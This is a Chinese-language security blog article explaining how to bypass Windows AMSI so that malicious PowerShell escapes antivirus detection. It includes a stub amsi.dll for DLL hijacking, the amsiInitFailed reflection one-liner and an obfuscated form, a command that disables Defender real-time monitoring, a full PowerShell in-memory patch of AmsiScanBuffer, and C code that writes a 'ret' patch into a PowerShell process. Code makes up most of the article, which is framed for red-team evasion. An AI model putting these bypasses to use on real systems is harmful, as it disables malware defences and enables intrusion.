<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨 | 繞過AMSI實現免殺的研究和思路

    VSole2021-11-10 08:02:25

    何為AMSI

    Antimalware Scan Interface(AMSI)為反惡意軟件掃描接口。

    微軟對他產生的目的做出來描述:

    Windows 反惡意軟件掃描接口 (AMSI) 是一種通用接口標準,允許您的應用程序和服務與機器上存在的任何反惡意軟件產品集成。AMSI 為您的最終用戶及其數據、應用程序和工作負載提供增強的惡意軟件保護。AMSI 與反惡意軟件供應商無關;它旨在支持當今可以集成到應用程序中的反惡意軟件產品提供的最常見的惡意軟件掃描和保護技術。它支持允許文件和內存或流掃描、內容源 URL/IP 信譽檢查和其他技術的調用結構。AMSI 還支持會話的概念,以便反惡意軟件供應商可以關聯不同的掃描請求。例如,可以將惡意負載的不同片段關聯起來做出更明智的決定,而僅通過孤立地查看這些片段就很難做出決定。

    在Windows Server 2016和Win10上已經默認安裝并啟用。他的本體是一個DLL文件,存在于 c:\windows\system32\amsi.dll。

    它提供了通用的標準接口(COM接口、Win32 API)其中的COM接口,是為殺軟供應商提供的,方便殺軟廠商接入自身針對惡意軟件的識別能力。有不少安全廠商已經接入了AMSI的接口。

    官方架構圖:

    目前AMSI功能已集成到Windows 10的這些組件中

    ?用戶帳戶控制或 UAC(EXE、COM、MSI 或 ActiveX 安裝的提升)

    ?PowerShell(腳本、交互使用和動態代碼評估)

    ?Windows 腳本宿主(wscript.exe 和 cscript.exe)

    ?JavaScript 和 VBScript

    ?Office VBA 宏

    既然本質上是一個dll,那么就可以看下他的導出函數。

    當執行一些敏感字符串時,會發現powershell拒絕執行并報毒。

    查看powershell模塊會發現加載了amsi.dll

    幾種繞過的方式

    dll劫持

    再打開powershell進程時,會加載amsi進程,那么自然的就想到可以通過dll劫持,或者替換等方式來bypass。

    dll加載的順序:

    ?進程對應的應用程序所在目錄

    ?系統目錄(通過 GetSystemDirectory 獲取)

    ?16位系統目錄

    ?Windows目錄(通過 GetWindowsDirectory 獲取)

    ?當前目錄

    ?PATH環境變量中的各個目錄

    powershell.exe的路徑為C:\Windows\System32\WindowsPowerShell\v1.0,只需要在同目錄下置放一個名為amsi.dll的模塊。

    但是并不是隨便一個模塊都行,由于已經開啟了amsi,如果錯誤加載會引起powershell崩潰,那么我們也無法執行命令。這里就要導出本來amsi.dll有的導出函數。

    比如這里導出函數有個AmsiScanBuffer

    然后去msdn去找,文檔里面有相關的函數說明并且有參數等等。

    #include "pch.h"
    #include 
     
    extern "C" __declspec(dllexport) void AmsiScanBuffer(HAMSICONTEXT amsiContext,
        PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession,
        AMSI_RESULT * result);
     
    void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length,
        LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {
     
    }
    

    這樣一個一個去把導出函數寫出。不要去直接include系統文件amsi,這樣他那個文件里本來就有相關函數,這樣會起沖突,直接把有些結構體粘過來就好了。

    typedef struct HAMSICONTEXT {
        DWORD       Signature;          // "AMSI" or 0x49534D41
        PWCHAR      AppName;           // set by AmsiInitialize
        DWORD       Antimalware;       // set by AmsiInitialize
        DWORD       SessionCount;      // increased by AmsiOpenSession
    } HAMSICONTEXT;
     
    typedef struct HAMSISESSION {
        DWORD amsiSession;
    } HAMSISESSION;
     
    typedef enum AMSI_RESULT {
        AMSI_RESULT_CLEAN = 0x00,
        AMSI_RESULT_NOT_DETECTED = 0x01,
        AMSI_RESULT_BLOCKED_BY_ADMIN_START = 0x4000,
        AMSI_RESULT_BLOCKED_BY_ADMIN_END = 0x4fff,
        AMSI_RESULT_DETECTED = 0x8000,
    } AMSI_RESULT;
    

    這樣我們自己編寫的dll也有相關的導出函數可以讓powershell去調用,只不過里面沒功能。注意這個amsi是64位的。

    把自己的dll放到powershell.exe的同目錄下,再次打開powershell。

    查看powershell進程的模塊,發現已經是我們自己寫的模塊了。

    已經成功bypass

    整個過程中需要管理員權限,dll也需要考慮免殺的問題,甚至還能用它來維權?這個方法按理來說應該是比較敏感的,要看微軟什么時候去修復。

    除了劫持還可以卸載,但是會造成powershell不穩定直接崩潰。這個方法是不行的。

    降低powershell版本

    將powershell版本降到2.0,就能夠規避amsi,因為在低版本的powershell中還沒有加入amsi。那么就需要知道目標機器的powershell版本。

    $PSVersionTable
    

    在 Windows 7 和 Windows 服務器 2008 R2 以上版本,PowerShell 2.0 集成在所有 Windows 版本中。

    在普通用戶權限下,可以通過如下命令經行檢查:

    Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version
    

    管理員權限可以使用如下命令:

    Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
    

    這里虛擬機是沒有這個環境的,看了下本機有2.0版本,這里就換下本機試一下,是能夠成功的執行的。

    混淆

    一個最簡單的例子

    "amsiutils"
    "amsiuti"+"ls"
    

    可通過一行命令直接關閉AMSI

    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI nitFailed','NonPublic,Static').SetValue($null,$true)
    

    但是直接關閉肯定是不行的,他的特征實際上就在System.Management.Automation.AmsiUtils 和 amsiInitFailed。

    這里可混淆的方式也是比較多的,方式可以如下:

    $a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUti'+ls') 
    $h="4456625220575263174452554847" 
    $s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " " 
    $b =$a.GetField($s,'NonPublic,Static')
    $b.SetValue($null,$true)
    

    在網上看到關閉Windows Defender 也可以使系統自帶的AMSI檢測無效化,需要管理員權限,這個方法現在已經不行了。

    Set-MpPreference -DisableRealtimeMonitoring $true
    

    利用反射將內存中AmsiScanBuffer方法的檢測長度置為0

    AMSI檢測調用過程為:

    AmsiInitialize – 初始化AMSI API.AmsiOpenSession – 打開sessionAmsiScanBuffer – scans the user-input.AmsiCloseSession – 關閉sessionAmsiUninitialize – 刪除AMSI API
    

    其中AmsiScanBuffer參數微軟也給出了說明,第三個參數是要檢測緩沖區的長度。

    腳本來源:https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909

    Class Hunter {
        static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
            while ($true) {
                [int]$count = 0
     
                while ($true) {
                    [IntPtr]$address = [IntPtr]::Add($address, 1)
                    If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                        $count++
                        If ($count -eq $egg.Length) {
                            return [IntPtr]::Subtract($address, $egg.Length - 1)
                        }
                    } Else { break }
                }
            }
     
            return $address
        }
    }
    function Get-ProcAddress {
        Param(
            [Parameter(Position = 0, Mandatory = $True)] [String] $Module,
            [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
        )
     
        # Get a reference to System.dll in the GAC
        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
        # Get a reference to the GetModuleHandle and GetProcAddress methods
        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
        # Get a handle to the module specified
        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
        $tmpPtr = New-Object IntPtr
        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
        # Return the address of the function
        return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
    }
    function Get-DelegateType
    {
        Param
        (
            [OutputType([Type])]
                
            [Parameter( Position = 0)]
            [Type[]]
            $Parameters = (New-Object Type[](0)),
                
            [Parameter( Position = 1 )]
            [Type]
            $ReturnType = [Void]
        )
     
        $Domain = [AppDomain]::CurrentDomain
        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
        $MethodBuilder.SetImplementationFlags('Runtime, Managed')
            
        Write-Output $TypeBuilder.CreateType()
    }
    $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
    $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
    $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
    $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
    $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
    $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
    $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
    $VistualProtectDelegate =  Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
    $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate)
     
     
    If ([IntPtr]::Size -eq 8) {
        Write-Host "[+] 64-bits process"
        [byte[]]$egg = [byte[]] (
            0x4C, 0x8B, 0xDC,       # mov     r11,rsp
            0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx
            0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp
            0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi
            0x57,                   # push    rdi
            0x41, 0x56,             # push    r14
            0x41, 0x57,             # push    r15
            0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h
        )
    } Else {
        Write-Host "[+] 32-bits process"
        [byte[]]$egg = [byte[]] (
            0x8B, 0xFF,             # mov     edi,edi
            0x55,                   # push    ebp
            0x8B, 0xEC,             # mov     ebp,esp
            0x83, 0xEC, 0x18,       # sub     esp,18h
            0x53,                   # push    ebx
            0x56                    # push    esi
        )
    }
     
     
    $hModule = $LoadLibrary.Invoke("amsi.dll")
    Write-Host "[+] AMSI DLL Handle: $hModule"
    $DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject")
    Write-Host "[+] DllGetClassObject address: $DllGetClassObjectAddress"
    [IntPtr]$targetedAddress = [Hunter]::FindAddress($DllGetClassObjectAddress, $egg)
    Write-Host "[+] Targeted address: $targetedAddress"
     
    $oldProtectionBuffer = 0
    $VirtualProtect.Invoke($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
     
    $patch = [byte[]] (
        0x31, 0xC0,    # xor rax, rax
        0xC3           # ret  
    )
    [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
     
    $a = 0
    $VirtualProtect.Invoke($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
    

    但是這個腳本到現在已經不行了,而且defender是直接報毒的,我在想是不是可以hook一下,改下值就行了。

    內存補丁

    我們知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函數來進行判斷的,而內存補丁是一種較為便捷的技術,我們可以對這個函數進行修補,使其喪失判斷能力,這樣我們就能自由執行任意powershell腳本,當然前提是腳本文件沒有被殺軟干掉。

    上面的方式通過將AmsiScanBuffer的第三個參數長度改為0,我感覺也可以歸為內存補丁的一種。

    通過上面對AmsiScanBuffer的介紹,應該知道了該函數返回HRESULT類型值,這是一個整數值,用來表示操作是否成功。如果該函數成功,那么就應當返回S_OK(0x00000000),否則應該返回HRESULT錯誤代碼。

    AmsiScanBuffer最后一個參數為AMSI_RESULT

    結構為

    typedef enum AMSI_RESULT {
      AMSI_RESULT_CLEAN,
      AMSI_RESULT_NOT_DETECTED,
      AMSI_RESULT_BLOCKED_BY_ADMIN_START,
      AMSI_RESULT_BLOCKED_BY_ADMIN_END,
      AMSI_RESULT_DETECTED
    } ;
    

    大概就是通過這個結構體去返回是否認定被檢測的內容是否的惡意的,數值越大風險越高。

    方法應該挺多的,可以注入一個dll到powershell這樣去hook或者什么操作,也可以直接起一個powershell進程然后獲取AmsiScanBuffer的函數地址,讓他直接函數返回啊這些操作,這個方法的重點應該是免殺性。

    偷個懶:https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi

    #include 
    #include 
     
    int main() {
        STARTUPINFOA si = { 0 };
        PROCESS_INFORMATION pi = { 0 };
        si.cb = sizeof(si);
     
        CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
     
        HMODULE hAmsi = LoadLibraryA("amsi.dll");
        LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
     
        Sleep(500);
     
        DWORD oldProtect;
        char patch = 0xc3;
     
        VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
        WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);
        VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        FreeLibrary(hAmsi);
        return 0;
    }
    

    0xc3的硬編碼對應的匯編是ret,也就是調用AmsiScanBuffer直接讓他返回。這個馬是直接被殺的。

    還有一些如com劫持,NULL字符繞過的辦法已經失效了,這里作為初探就不去研究了。

    powershell免殺
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    顧名思義,無需將惡意文件傳到目標服務器/機器上,直接利用powershell的特性加載到內存執行。為了在紅隊行動中更隱蔽的實施攻擊以及橫向移動,同時還可以解決目標不出網只能通過dns上線時的棘手問題,利用powershell可以避免一行行echo。
    powershell之路
    2021-07-12 21:46:00
    Windows PowerShell 是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用 .NET Framework的強大功能
    目錄簡單的惡意文檔cs生成的宏分析思路加密混淆誘導點擊項目推薦總結簡單的惡意文檔一般使用流程:第一步,生
    powershell對抗AV技巧
    2021-06-30 22:32:22
    今天介紹利用powershell上線來繞過AV防護,并介紹繞過添加用戶的攔截的方式。
    通常我們在滲透過程中從外圍打點進入內網后拿到主機提升到system權限,這一臺主機就已經拿下。但是我們進入內網的目標還是拿下盡可能多的主機,這時候選擇橫向移動的方法就尤為重要。今天就對一些常用的橫向手法進行一個總結,有不足之處歡迎師傅們進行斧正。
    前言某次小型紅藍,直接丟過來幾個登陸框,定點打。環境介紹全部都是shiro框架。過程爆破用戶名密碼,都是加密的。查看網頁源代碼的時候,發現其中一個利用的DES-ECB的單層加密。果斷生成大量的字段。我的超大字典,都沒有爆破出一個有效的賬號。一上午毫無收獲,陷入沉思。用上午在A系統登陸顯示沒有應用權限的賬號,但是不會自動解壓,沒有找到可以利用的點。在目標機器部署了cs。
    0X01起源在攻防演練中通過運行惡意代碼連接C2是最常用的手段,但是由于對抗程度的提升。以360、天擎為代表的毒軟件針對信任鏈的檢測,已經變得愈來愈成熟。這里我們可以理解為,攻擊者通過利用"白加黑"這種攻擊方法。當攻擊者通過社工釣魚的手段,使得目標下載惡意的文件到目標自己的計算機上,并點擊運行白文件時,該文件會在運行時執行惡意DLL。
    時間線11 月 10 日,我們發現了一次多階段 PowerShell 攻擊,該攻擊使用冒充哈薩克斯坦衛生部的
    好久沒寫實戰文章了,過年過的手都麻了,一天不滲透我是渾身難受。正想找幾個站泄泄火呢。剛好就接到了領導的任務,需要我去參加某集團組織的攻防演練。過程即簡單也曲折,好在成功繞過waf,且橫向滲透取得辦公區運維機權限,最終取得工控生產區服務器權限,完成滲透目標,skr~skr~。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类